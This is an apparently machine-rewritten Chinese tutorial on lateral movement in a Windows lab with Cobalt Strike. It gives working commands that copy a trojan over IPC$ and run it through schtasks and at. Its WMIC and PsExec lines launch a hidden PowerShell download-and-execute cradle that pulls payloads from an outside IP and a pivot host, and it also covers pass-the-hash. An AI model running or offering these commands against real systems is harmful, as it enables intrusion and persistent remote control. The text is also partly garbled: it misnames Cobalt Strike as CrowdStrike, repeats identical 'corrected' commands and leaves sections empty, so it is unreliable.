前言 想象一下,你手中握着一把钥匙,这把钥匙是通往内网深处的密码或Hash。文章中,我们探讨了如何在拿到这把钥匙后,开始一场横向的冒险。首先,我们得绘制一张地图,这张地图上标注着内部网络的结构,以及那些脆弱的点。而这张地图的绘制,来源于对信息的收集:扫描网段,检查端口服务,了解操作系统,关注补丁更新,定位域机器和关键业务机器,审视杀毒软件,分析防火墙策略,甚至密码规则和内部敏感文档。 当这幅地图在我们面前展开时,我们便可以开始我们的横向渗透,就像在网络的迷宫中寻找出口,每一步都充满了策略和谨慎。这不仅是一场技术的较量,更是对细节的极致追求。 环境
1.2 网络环境 目前 Windows 7跳版机扮演着关键的棋子,192.168.200.222和10.211.66.5这两个IP,通过双网卡的配置,它既能连接到广阔的互联网,又能深入到内网的心脏地带。而另一端,Windows Server 2012静静地守护着目标靶机,它拥有192.168.200.66这个地址,但它被限制了,无法触及外界的网络。 1.3 简述 在这场网络的较量中,攻击者如同一位精妙的棋手,通过渗透测试,巧妙地获得了主机Win 7(192.168.200.222)的控制权。这主机不仅拥有访问内网的能力,还拥有通向互联网的钥匙。攻击者利用这一优势,上线了CS(CrowdStrike Falcon或类似平台),以此来保持对权限的持续控制,确保他们能够在网络中自由行动,就像在棋盘上移动棋子一样。 在网络的暗流中,我们已成功捕获Win 7(192.168.200.222)跳板机的登录凭证,这些明文凭证如同打开内网深处的密钥。虽然获取这些凭证的方法多样,但本文将不再深入探讨。相反,我们将专注于记录个人在内网环境下横向移动的学习笔记,探索如何在网络的广阔领域中,以策略和智慧,绘制出一条条通往目标的路径。 当前,我们将在网络中增加一个Windows 7系统(IP地址为192.168.200.222)作为跳转节点,用于转发会话数据。 生产一个shell文件到本地。 由于Windows Server 2012(IP地址为192.168.200.66)的目标计算机无法连接到外部网络,因此决定使用新近配置的中转服务器来实现会话的中继。 02 管道IPC$与windows计划任务2.1 利用条件 1)IPC连接没有被禁用,和端口也未被关闭,同时没有通过防火墙设置来阻止。2)目标计算机已启用了IPC$服务。 3)除了IPC$空连接的情况外,需要拥有目标计算机的管理员账户和密码。 4)需要知道目标计算机的IP地址,并且两者之间能够进行网络通信。 2.2 利用方式 在Cobalt Strike(CS)客户端上,您可以按照以下步骤对Windows 7(IP地址为192.168.200.222)进行会话操作: 请注意,上述命令中的密码部分("Hacker@1.")应根据实际情况进行替换,且在实际使用中,您应确保所有操作都符合法律法规和道德标准。 在 Cobalt Strike(CS)客户端,要列出目标主机C盘下的目录文件,您可以使用以下命令: beacon> shell dir \\192.168.200.66\C$这条命令会让您查看到目标主机IP地址为192.168.200.66的C盘根目录下的文件和文件夹列表。
在Cobalt Strike(CS)中,如果您需要将木马文件上传到跳板机,您可以使用以下命令: beacon> upload /root/demo.exe C:\Users\ppbibo\AppData\Local\Temp\demo.exe这条命令会将位于CS服务器上的/root/demo.exe文件上传到跳板机Windows 7(IP地址为192.168.200.222)的临时文件夹中。 接着,如果您需要将该木马文件从跳板机复制到目标机Windows Server 2012(IP地址为192.168.200.66)的C盘共享目录下,您可以使用以下命令: beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$请注意,这里的命令中可能存在一些语法错误,正确的命令格式应该是: beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$确保您在执行这些操作时遵守所有适用的法律和道德准则,并且您拥有执行这些操作的适当权限。 在Cobalt Strike(CS)中,如果您想要在远程的Windows Server 2012(IP地址为192.168.200.66)目标机上创建一个计划任务来执行一个木马文件,您可以使用schtasks命令。以下是命令的示例: beacon> shell schtasks /create /s 192.168.200.66 /u administrator /p "Hacker@1." /sc MINUTE /mo 1 /tn "test" /tr "C:\demo.exe"这个命令的参数解释如下: - /create:创建一个新的计划任务。
- /s:指定目标计算机的IP地址。
- /u:指定执行任务的用户账户。
- /p:指定用户账户的密码。
- /sc:设置任务的触发频率,这里是MINUTE,表示每分钟触发一次。
- /mo:设置触发间隔,这里是1,表示每1分钟。
- /tn:设置任务的名称,这里是test。
- /tr:设置任务要执行的程序或命令,这里是C:\demo.exe,即木马文件的路径。
请确保所有操作都符合法律法规和道德标准,并且您拥有执行这些操作的适当权限。同时,注意密码部分("Hacker@1.")应根据实际情况进行替换。 at命令在较新的Windows系统中已经逐渐被schtasks命令所取代。schtasks提供了更多的功能和灵活性,允许用户创建、修改、运行、删除、查询和结束计划任务。 以下是使用schtasks命令创建计划任务的示例: schtasks /create /s 目标计算机IP /u 管理员用户名 /p 管理员密码 /sc 触发器设置 /mo 间隔 /tn 任务名称 /tr 要运行的程序或命令例如,如果您想要在Windows Server 2012上创建一个每1分钟执行一次的计划任务,来运行位于C盘的demo.exe文件,您可以使用以下命令: schtasks /create /s 192.168.200.66 /u administrator /p "密码" /sc MINUTE /mo 1 /tn "MyTask" /tr "C:\demo.exe"请记得将"密码"替换为实际的管理员密码,并且确保您有权限在目标计算机上执行此操作 如果您的目标机器仍然支持at命令,并且您想要使用这个命令来安排一个任务在特定时间执行,您可以按照以下步骤操作: at \\目标机器IP 时间 要运行的程序路径例如,如果您想要在目标机器Windows Server 2012(IP地址为192.168.200.66)上安排在11:05执行C:\demo.exe文件,您可以使用以下命令: at \\192.168.200.66 11:05 c:\demo.exe- 执行上述命令后,如果一切顺利,任务将会在指定时间执行。
关于您提到的会话信息,您指出该会话是被动连接的,这意味着除非进行操作,否则它不会主动回连。此外,如果中转服务器的会话断开,那么通过该中转服务器建立的会话也会随之断开。这强调了在进行远程操作时,保持中转服务器稳定性的重要性。 2.3 IPC 命令 在Windows系统中,IPC共享和文件共享: 打开IPC$共享:
- 这通常不需要特定的命令,因为IPC$共享默认是打开的。但是,如果需要确认或开启,可以使用以下命令:
net share ipc$=C:\Windows\System32\pipe\srv
关闭IPC$共享:
- 如果您需要关闭IPC$共享,可以使用以下命令:
net share ipc$ /delete
共享计算机的C盘:
- 要共享C盘,可以使用以下命令:
net share C=C:\ /users:上限数量 - 其中上限数量是您可以设置的允许同时访问共享的用户数量。
查看共享的资源:
删除特定的共享资源:
- 如果您需要删除C盘的共享,可以使用以下命令:
net share C /delete
取消IPC远程连接:
- 如果您使用IPC$连接到远程计算机,并希望断开连接,可以使用以下命令:
net use \\远程计算机名\ipc$ /delete - 如果您想删除所有网络连接,可以使用:
net use * /delete /y
请注意,net share命令需要管理员权限才能执行。 03 WMIWMI(Windows Management Instrumentation)确实是Windows操作系统中的一项关键技术,它提供了一个统一的接口,允许用户和应用程序访问和操作操作系统的硬件、软件和操作系统的属性。以下是WMI的一些关键点: 管理本地和远程计算机:WMI允许管理员执行本地或远程的系统管理任务,例如监控系统状态、配置系统设置、收集系统信息等。 使用WMI查询:通过WMI查询语言(WQL,Windows Management Instrumentation Query Language),用户可以编写查询来检索或修改信息。 事件监控:WMI可以监控系统事件,如系统启动、用户登录、应用程序安装等,并允许用户对这些事件做出响应。 自动化任务:WMI可以用来自动化系统管理任务,通过脚本或应用程序实现自动化的系统维护和配置。 跨平台支持:虽然WMI是Windows特有的,但Windows也提供了跨平台管理工具,如PowerShell,它使用WMI和其他技术来管理不同平台的系统。 安全性:WMI操作可能需要特定的权限,管理员需要确保只有授权的用户才能访问WMI服务,以保护系统的安全性。 集成性:WMI与Windows的其他组件紧密集成,例如任务计划程序、系统配置和注册表编辑器等。 工具支持:Windows提供了多种工具来使用WMI,包括命令行工具(如wmic)和图形界面工具(如Computer Management)。
通过WMI,管理员可以有效地管理和监控Windows系统,提高系统的可管理性和效率。 在您提供的场景中,您正在描述如何使用Cobalt Strike(CS)来利用WMI(Windows Management Instrumentation)进行远程管理操作。以下是您所描述步骤的概述: 3.1 利用条件3.2 利用方式在CS客户端进行操作:首先,您需要在Cobalt Strike客户端上建立一个会话,这通常是通过某种形式的初始访问(如漏洞利用、钓鱼等)实现的。 使用CS生成WEB交互式Payload:在CS中,您可以创建一个WEB交互式Payload(Scripted Web Delivery),这是一种无需在目标计算机上下载或执行文件即可上线的技术。这种Payload通常通过诱使目标访问一个恶意网站来执行,该网站包含用于远程会话的脚本。
- 要创建这种Payload,您需要在CS中设置一个Listener,然后生成一个特定的URL或脚本,当目标访问这个URL或执行脚本时,他们的计算机将与您的CS Listener建立连接。
实现无文件落地上线:这种方法的优点是它不需要在目标计算机上留下任何可追踪的文件。所有操作都是通过内存执行的,这使得检测和追踪变得更加困难。
下面是使用WMI和CS(Cobalt Strike)进行远程命令执行的过程,并且说明了如何通过跳板机来传递Payload,因为目标主机不能直接访问外部网络。以下是步骤的概述: 生成Payload:
- 在CS中生成一个Payload,例如一个PowerShell命令,用于下载并执行远程脚本:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://39.100.x.x:7799/a'))" - 这个命令会从指定的URL下载并执行脚本,-nop参数防止PowerShell的配置文件运行,-w hidden将窗口隐藏。
在跳板机上开启WEB服务:
- 由于目标主机不能出网,您需要在跳板机上复制Payload并开启一个WEB服务来托管这个Payload。
- 使用Python快速开启一个简单的HTTP服务器:
beacon> shell python -m SimpleHTTPServer 8080 - 这将在跳板机的8080端口开启一个HTTP服务器,您可以将Payload文件(例如payload.txt)放置在服务器的根目录下。
使用WMIC执行远程命令:
- 利用WMIC(Windows Management Instrumentation Command-line)工具,在CS客户端执行远程命令:
beacon> shell wmic /node:192.168.200.66 /user:administrator /password:Hacker@1. process call create "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))" - 这个命令将指示目标主机下载并执行跳板机上的Payload,从而在CS中上线。
上线了。 在 win2012进行验证。 为了解决WMIC命令执行时没有回显的问题,您可以使用wmiexec.vbs这个VBScript脚本来增强其功能,从而获得命令执行的反馈。 04 PsExec[backcolor=rgba(0, 0, 0, 0.05)]PsExec是一个实用的工具,它允许用户在远程系统上启动新的进程,并且可以为这些控制台程序提供完整的交互式体验。它不需要在远程机器上手动安装客户端软件,使得远程执行任务变得简单快捷,类似于telnet,但提供了更多的功能。
beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami
beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt')) 当使用PsExec传递命令时,确实需要注意不要将命令字符串放在双引号中,因为这可能会导致错误,如“系统找不到指定的文件”。正确的做法是直接传递命令,而无需引号。以下是修正后的命令示例: beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami在这个修正后的命令中,whoami命令没有被双引号包围,这可以避免不必要的错误,确保命令正确执行。再次提醒,执行此类操作时,必须确保您有适当的权限, Psexec下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec 更多参考: https://www.itprotoday.com/compute-engines/psexec 4.1 CS Psexec_psh hash传递 在凭证窃取的场景中,即使无法获得明文密码,获取到密码的哈希值也是有价值的,因为哈希值同样可以用于横向移动或其他认证操作。以下是对您提供信息的重写:
上线。 05 WinRMWinRM,即Windows远程管理服务,是一个允许远程访问Windows命令行的强大工具。通过WinRM模块,用户可以执行各种管理任务,如运行脚本、安装更新和配置系统设置。
WinRM服务在Windows Server 2012及更高版本中默认启用,它使用两个端口进行通信: - 5985端口:用于通过HTTP协议进行WinRM通信。
- 5986端口:用于通过HTTPS协议进行加密的WinRM通信。
默认情况下,WinRM服务监听这些端口,使得管理员可以安全、便捷地远程管理Windows系统。
为了检查Windows Server 2012上是否启用了WinRM服务,您可以使用以下命令: winrm get winrm/config/service这个命令会显示WinRM服务的状态,包括它是否已启动以及监听的端口信息。如果需要查看更详细的监听器配置,可以使用您提供的命令: winrm enumerate winrm/config/listener执行这个命令后,您将能够看到WinRM服务的所有监听器配置,包括它们使用的协议(HTTP或HTTPS)以及绑定的端口号。如果WinRM服务未运行,您可能需要先启动它: winrm quickconfig或者,如果需要手动启动WinRM服务,可以使用: net start winrm
5.1 利用方式 Cobalt Strike(CS)是一款功能丰富的渗透测试工具,它提供了多种功能来支持在目标网络中的横向移动。以下是对CS横向移动功能的不同角度描述: 多平台支持:CS不仅限于Windows系统,还能够针对Linux和macOS等操作系统进行横向移动。 自动化横向移动脚本:CS社区和第三方开发者提供了许多自动化横向移动的脚本,这些可以集成到CS中,以简化和加速横向移动过程。 端口转发和隧道:CS具备端口转发和隧道技术,这使得渗透测试人员能够绕过网络障碍,访问目标网络中的内部资源。 远程Shellcode注入:CS允许用户将Shellcode注入到远程目标的进程中,这是获取目标系统控制权的一种手段。 SMB和WMI:利用SMB和WMI协议,CS可以在目标网络中执行远程命令和横向移动操作。 凭证访问:CS能够访问和利用获取的凭证,包括用户名和密码或密码哈希,以进行横向移动。 扫描模块:CS内置了多种扫描模块,可以帮助发现目标网络中的活动主机、开放端口和运行的服务。 Pass-the-Hash:如果获得了密码哈希,CS可以使用Pass-the-Hash技术在不使用明文密码的情况下进行横向移动。
|